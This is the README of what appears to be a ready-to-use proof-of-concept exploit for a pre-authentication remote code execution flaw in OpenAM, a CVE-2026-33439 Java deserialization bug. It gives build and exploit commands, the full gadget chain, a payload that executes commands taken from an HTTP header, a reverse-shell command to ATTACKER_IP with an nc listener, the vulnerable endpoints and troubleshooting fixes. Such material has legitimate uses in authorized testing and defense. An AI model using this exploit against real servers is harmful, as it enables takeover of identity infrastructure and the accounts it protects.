
Python PoC exploiting CVE-2026-33439, a pre-auth RCE in OpenAM via Java deserialization of the jato.clientSession parameter, with interactive and blind shell modes.
Pre-authentication Remote Code Execution in OpenIdentityPlatform OpenAM <= 16.0.5 via unsafe Java deserialization of the jato.clientSession parameter (CVSS 9.8).
For authorized security testing only.
# 1. Build payload (downloads JARs from Maven Central + compiles gadget chain)
python build.py
# 2. Exploit — interactive shell (output returned in HTTP response)
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell
build.py — must match the target server's JVM version; JDK 25 produces incompatible serialized objects)The EvilTranslet reads the cmd HTTP header from the request, executes it, and writes stdout directly to the HTTP response. No listener needed.
# Build interactive payload (no --command flag)
python build.py
# Single command
python exploit.py --url https://target/openam/ui/PWResetUserValidation "whoami"
# Interactive pseudo-shell
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell
# Auto-detect endpoint from base URL
python exploit.py --url https://target/openam/ --probe --shell
The command is baked into the EvilTranslet bytecode. No output is returned; use a listener (nc, etc.) to catch callbacks.
# Build blind payload with reverse shell command
python build.py --command "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# Terminal 1: listener
nc -lvnp 4444
# Terminal 2: deliver to all JATO endpoints
python exploit.py --url https://target/openam/ --all
build.py| Flag | Description |
|---|---|
| (no flags) | Build interactive payload (reads cmd header at runtime) |
--command "CMD" | Build blind payload with CMD baked into bytecode |
--jars DIR | Use local JARs directory instead of downloading (default: ./libs) |
--download-only | Only download JARs, don't compile |
exploit.py| Flag | Description |
|---|---|
--url URL | Target URL (required) — full endpoint or base URL with --probe/--all |
--shell | Interactive pseudo-shell (interactive mode) |
--probe | Auto-detect vulnerable endpoint from base URL |
--all | Deliver payload to ALL JATO endpoints (blind mode) |
--method GET|POST | HTTP delivery method (default: GET) |
--proxy URL | HTTP proxy (e.g. http://127.0.0.1:8080 for Burp) |
--timeout SECS | Request timeout (default: 15) |
--verify-tls | Enable TLS certificate verification |
--debug | Show request/response details |
All source code is in the repo — no opaque blobs. The Java sources are embedded in build.py as readable string constants. After building, verify the output:
python verify.py # summary: classes, integrity, red-flag scan
python verify.py --strings # all printable strings in the payload
python verify.py --hexdump # full hex dump
python verify.py --dump p.bin # export raw bytes for SerializationDumper / javap
PriorityQueue.readObject()
-> heapify() -> Column$ColumnComparator.compare()
-> Column.getTable().isSortedAscending()
-> Column.getProperty() -> PropertyUtils.getObjectPropertyValue()
-> TemplatesImpl.getOutputProperties()
-> defineTransletClasses() -> newInstance()
-> EvilTranslet.<clinit>() // command executes here
Thread.currentThread().getContextClassLoader().loadClass("com.iplanet.jato.RequestManager") — get HTTP request/response via webapp classloaderrequest.getHeader("cmd") — read the commandnew ProcessBuilder("/bin/sh", "-c", cmd) — executeresponse.reset() — clear any prior JSP outputtext/plain, then close the output streamRuntime.getRuntime().exec(new String[]{"bash", "-c", "<baked-in command>"}) — fire and forgetAny JATO ViewBean endpoint rendering <jato:form> tags, accessible pre-auth:
| Endpoint | Notes |
|---|---|
/openam/ui/PWResetUserValidation | Password reset (most reliable) |
/openam/ui/PWResetQuestion | Password reset security questions |
/openam/ui/Login | Login page |
| Symptom | Cause | Fix |
|---|---|---|
| HTML page returned instead of command output | JSP overwrites response | Use --shell with interactive payload; or switch to blind mode |
| Deserialization doesn't trigger | JDK version mismatch | Rebuild with JDK 21: export JAVA_HOME=/path/to/jdk-21 |
| TLS handshake timeout | Server requires SNI hostname | Add target to /etc/hosts and use hostname, not IP |
javac not found | JDK not installed | apt install openjdk-21-jdk |
MIT